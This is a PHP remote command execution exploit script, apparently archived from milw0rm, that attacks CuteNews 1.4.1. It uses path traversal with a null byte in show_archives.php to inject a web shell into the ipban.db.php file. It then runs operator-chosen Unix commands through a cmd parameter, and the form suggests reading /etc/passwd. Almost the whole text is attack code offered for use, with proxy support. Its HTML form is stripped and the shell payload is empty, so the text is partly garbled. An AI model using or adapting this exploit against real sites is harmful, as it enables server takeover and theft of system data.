CuteNews 1 . 4 . 1 (possibly prior versions) remote commands execution

a script by rgod at http://rgod.altervista.org

hostname (ex: www.sitename.com)

path (ex: /cute/ or just /)

specify a port other than 80 ( default value )

a Unix command , example: ls -la to list directories, ca t /etc/passwd to show passwd file

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".$headeri[$li+$ki]."
0".$datai."".$datai."  ".$headeri[$li]."
"; } function sendpacket($packet) { global $proxy, $host, $port, $html; $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die;} } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) {$html.=fgets($ock);} } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } if (($path<>'') and ($host<>'') and ($command<>'')) { if ($port=='') {$port=80;} $port=intval(trim($port)); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') { $p=$path; } else { $p="http://".$host.":".$port.$path;} #STEP 1 -> Inject a shell in ipban.db.php... ############################################################################################### $shell=''; $shell=urlencode($shell); #very nice ip to add to banlist... ;) no check fo ip address format, only a stripslashes ############################################################################################### $packet="GET ".$p."show_archives.php?template=../inc/ipban.mdu%00&member_db[1]=1&action=add&add_ip=".$shell." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); //show the packet for debugging purposes sendpacket($packet); # STEP 2 -> Launch commands echo '
If CuteNews 1.4.1 is unpatched and vulnerable, now you will see '.htmlentities($command).' output...
'; $packet="GET ".$p."data/ipban.db.php?cmd=".urlencode($command)." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); //debugging... sendpacket($packet); } else {echo 'fill in all requested fields...optionally specify a proxy...';} ?> # milw0rm.com [2005-11-03]